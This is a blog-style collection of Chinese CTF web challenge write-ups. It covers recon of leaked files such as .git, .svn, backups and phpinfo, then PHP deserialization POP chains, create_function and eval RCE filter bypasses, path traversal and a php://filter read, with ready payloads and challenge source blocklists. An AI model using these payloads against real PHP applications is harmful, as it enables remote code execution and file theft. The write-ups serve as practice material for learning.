CTFshow - WEB
信息收集
web1:F12 查看源码
F12可得到

web2:浏览器设置查看源码
浏览器设置里打开开发者工具

web3:查看响应标头
根据提示在响应标头里

web4:robots.txt 路由
robots.txt 一个非常重要得到文件,通常情况下,主要用于指定搜索引擎蜘蛛spider在网站里的抓取范围,用于声明蜘蛛不可以抓取哪些网站资源及可以抓取哪些网站资源,有些框架请求路径中可能会存在robots.txt文件,本次请求加上/robots.txt 可以请求到注释备忘的内容,再次根据注释备忘内容即可查看到flag详细:https://zhuanlan.zhihu.com/p/342575122根据提示,显示在/robots.txt路由下,访问/flagishere.txt
User-agent: *Disallow: /flagishere.txt
web5:phps 源码泄露
题目描述是phps源码泄露,我们访问/index.phps下载获得源码文件

web6:网站压缩包源码泄露
首先用dirserch扫描网站,发现/www.zip路由,下载可知道有/fl000g.txt路由获取flag


web7:git 信息泄露
版本控制器常用的就是Git和SVN,此题是Git

用dirseach扫描到/.git路由,访问得到flag

web8:svn 信息泄露
版本控制器常用的就是Git和SVN,此题是SVN

用dirseach扫描到/.svn路由,访问得到flag

web9:vim 编辑器缓存泄露
由题意可以知道是vim 编辑器缓存泄露,vim路由一般在同目录的index.php.swp,访问即得

web10:cookie
获取cookie得到flag

web11:域名解析 TXT
查询域名的指定解析类型的解析记录,根据题目提示我们查询TXT
nslookup -type=type domain [dns-server] # 其中 type 为解释类型| type | 解释 |
|---|---|
| A | A记录地址记录 |
| AAAA | 地址记录 |
| AFSDB | 文件系统数据库服务器记录 |
| ATMA | ATM地址记录 |
| CNAME | 别名记录 |
| ISDN | 域名对应的ISDN号码 |
| MB | 存放指定邮箱的服务器 |
| MG | 邮件组记录 |
| MINFO | 邮件组和邮箱的信息记录 |
| MR | 改名的邮箱记录 |
| MX | 邮件服务器记录 |
| NS | 名字服务器记录 |
| PTR | 反向记录 |
| RP | 负责人记录 |
| RT | 路由穿透记录 |
| SRV | TCP服务器信息记录 |
| TXT | 域名对应的文本信息 |
| X25 | 域名对应的X.25地址记录 |
web12:公开信息收集
首先尝试访问admin路由进入后台,然后提示输入用户名密码,首先猜想用户名admin,网页下方的372619038像是密码,然后得出

web13:公开信息收集
根据题目提示,我们找到网页最后的Document,访问得到信息


web14:公开信息收集
根据题目描述,我们访问/editor路由,发现一个编辑器,在上传文件功能可以访问到服务器的路径,发现在/nothinghere/fl000g.txt有flag

web15:公开信息收集
访问/admin发现后台,没有密码但是可以重置

首页底下有个QQ1156631961,访问得到地址



web16:PHP探针
PHP探针实际上是一种Web脚本程序,主要是用来探测虚拟空间、服务器的运行状况,而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件,通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等,基本能够很全面的了解服务器的各项信息。常见的PHP探针有:
雅黑php探针:一般用于linux系统,目前不支持PHP7以上版本。X探针:(又名刘海探针)是一款由 INN STUDIO 原创主导开发的开源 PHP 探针,支持PHP5.3+以上。UPUPW php探针:安全性较高,可以防探针泄露,一般用于window系统。根据题目,我们访问一般探针的路径/tz.php

访问到PHPINFO

web17:sql源码泄露
根据题目,我们扫描到/backup.sql文件,访问既得到


攻防世界 - WEB
Training-WWW-Robots
要点:Robots.txt文件


PHP2
要点:扫描目录、.phps 文件、代码审计(urldecode函数)首先没有什么提示
扫描一下

访问依然是

所以我们试试访问phps
什么是phps文件?phps文件类型主要由php组与php源关联。通常,php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本,而不是通常生成的HTML。
在 get 传值之前有一个 urldecode 函数,根据提示我们可以编码admin然后提交get,但是他会进行两次解码,所以我们要两次编码,构造出:?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
NSSCTF - WEB
[FSCTF 2023]CanCanNeed
Problem: [FSCTF 2023]CanCanNeed
<?phpclass Noteasy{ protected $param1; protected $param2;
function __destruct(){ $a=$this->param1; $b=$this->param2; if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { die('this param is error!'); } else { $a('', $b); } }
}if (!isset($_GET['file'])){ show_source('index.php'); echo "Hi!Welcome to FSCTF2023!"; } else{ $file=base64_decode($_GET['file']); unserialize($file); }?>Hi!Welcome to FSCTF2023!正则表达式没有过滤 system 和中括号,所以使用 system 执行 shell 命令构造反序列化
<?php
class Noteasy{ protected $param1 = "create_function"; protected $param2 = "};system(\$_POST[1]);//";}
$n = new Noteasy();echo(base64_encode(serialize($n)));
[NCTF 2018]小绿草之最强大脑
Problem: [NCTF 2018]小绿草之最强大脑

扫目录源码泄露
<?phpif(isset($_SESSION['ans']) && isset($_POST['ans'])){ if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){ session_destroy(); echo ' <script language="javascript"> alert("怎么没算对呢?"); window.history.back(-1); </script>'; } else{ if(intval(time())-$_SESSION['time']<1){ session_destroy(); echo ' <script language="javascript"> alert("你手速太快啦,服务器承受不住!!!"); window.history.back(-1); </script> '; } if(intval(time())-$_SESSION['time']>2){ session_destroy(); echo ' <script language="javascript"> alert("你算的太慢了少年!"); window.history.back(-1); </script> '; } echo ' <script language="javascript"> alert("tql,算对了!!"); </script> '; $_SESSION['count']++; }}?>PHP intval 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
import reimport time
import requests
r = requests.session()url = "http://node4.anna.nssctf.cn:28048/"inp = '1111111111111111111111111111111111'res = r.get(url).textwhile 'nctf' not in res: p = re.compile(r' style="display:inline;">(.*?)</div>') exp = '9223372036854775807' + ''.join(re.findall(p, res)).replace('=', '') time.sleep(1) res = r.post(url, data={'input': inp, 'ans': eval(exp)}).text print(res)[UUCTF 2022 新生赛]ezpop
Problem: [UUCTF 2022 新生赛]ezpop
<?php//flag in flag.phperror_reporting(0);class UUCTF{ public $name,$key,$basedata,$ob; function __construct($str){ $this->name=$str; } function __wakeup(){ if($this->key==="UUCTF"){ $this->ob=unserialize(base64_decode($this->basedata)); } else{ die("oh!you should learn PHP unserialize String escape!"); } }}class output{ public $a; function __toString(){ $this->a->rce(); }}class nothing{ public $a; public $b; public $t; function __wakeup(){ $this->a=""; } function __destruct(){ $this->b=$this->t; die($this->a); }}class youwant{ public $cmd; function rce(){ eval($this->cmd); }}$pdata=$_POST["data"];if(isset($pdata)){ $data=serialize(new UUCTF($pdata)); $data_replace=str_replace("hacker","loveuu!",$data); unserialize($data_replace);}else{ highlight_file(__FILE__);}?>增多型字符串逃逸
<?phpclass UUCTF{ public $name,$key,$basedata,$ob;}class output{ public $a;}class nothing{ public $a; public $b; public $t;}class youwant{ public $cmd;}
$a = new youwant();$a->cmd = 'system("cat flag.php");';$b = new output();$b->a = $a;$c = new nothing();$c->a = &$c->b;$c->t = $b;$basedata = base64_encode(serialize($c));
$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';for($i=0;$i<strlen($post);$i++){ $hacker=$hacker.'hacker';
}echo $hacker.$post;[UUCTF 2022 新生赛]ez_rce
Problem: [UUCTF 2022 新生赛]ez_rce
<?php## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); }}else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__);}没有过滤:print_r,反斜杠,反引号。
?code=print_r(`l\s /`);?code=print_r(`nl /fffffffffflagafag `);[NCTF 2018]全球最大交友网站
Problem: [NCTF 2018]全球最大交友网站
下载a.zip
使用git log,然后回滚版本


[LitCTF 2024]高亮主题(划掉)背景查看器
Problem: [LitCTF 2024]高亮主题(划掉)背景查看器

theme=../../../../../flag[HNCTF 2022 WEEK2]easy_unser
Problem: [HNCTF 2022 WEEK2]easy_unser
<?php include 'f14g.php'; error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){ $About_me = "When the object is created,I will be called"; if($want !== " ") $this->want = $want; else $this->want = $this->todonothing; } function __wakeup(){ $About_me = "When the object is unserialized,I will be called"; $but = "I can CHANGE you"; $this-> want = $but; echo "C1ybaby!";
} function __destruct(){ $About_me = "I'm the final function,when the object is destroyed,I will be called"; echo "So,let me see if you can get what you want\n"; if($this->todonothing === $this->want) die("鲍勃,别傻愣着!\n"); if($this->want == "I can CHANGE you") die("You are not you...."); if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo "You got it!"; highlight_file($this->want); } }}
class unserializeorder{ public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>"; function __sleep(){ $About_me = "When the object is serialized,I will be called"; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>"; } function __toString(){ $About_me = "When the object is used as a string,I will be called"; return $this->CORE; } }
$obj = new unserializeorder(); echo $obj; $obj = serialize($obj);
if (isset($_GET['ywant'])) { $ywant = @unserialize(@$_GET['ywant']); echo $ywant; }?>考察PHP伪协议绕过反序列化
<?phpclass body{
private $want,$todonothing = "";
public function __construct($want){ $About_me = ""; if($want !== " ") $this->want = $want; else $this->want = $this->todonothing; }}$f = "php://filter/convert.base64-encode/resource=f14g.php";$a = new body($f);$b = serialize($a);$c = preg_replace("/:2:{/",":3:{",$b);echo urlencode($c);?>部分信息可能已经过时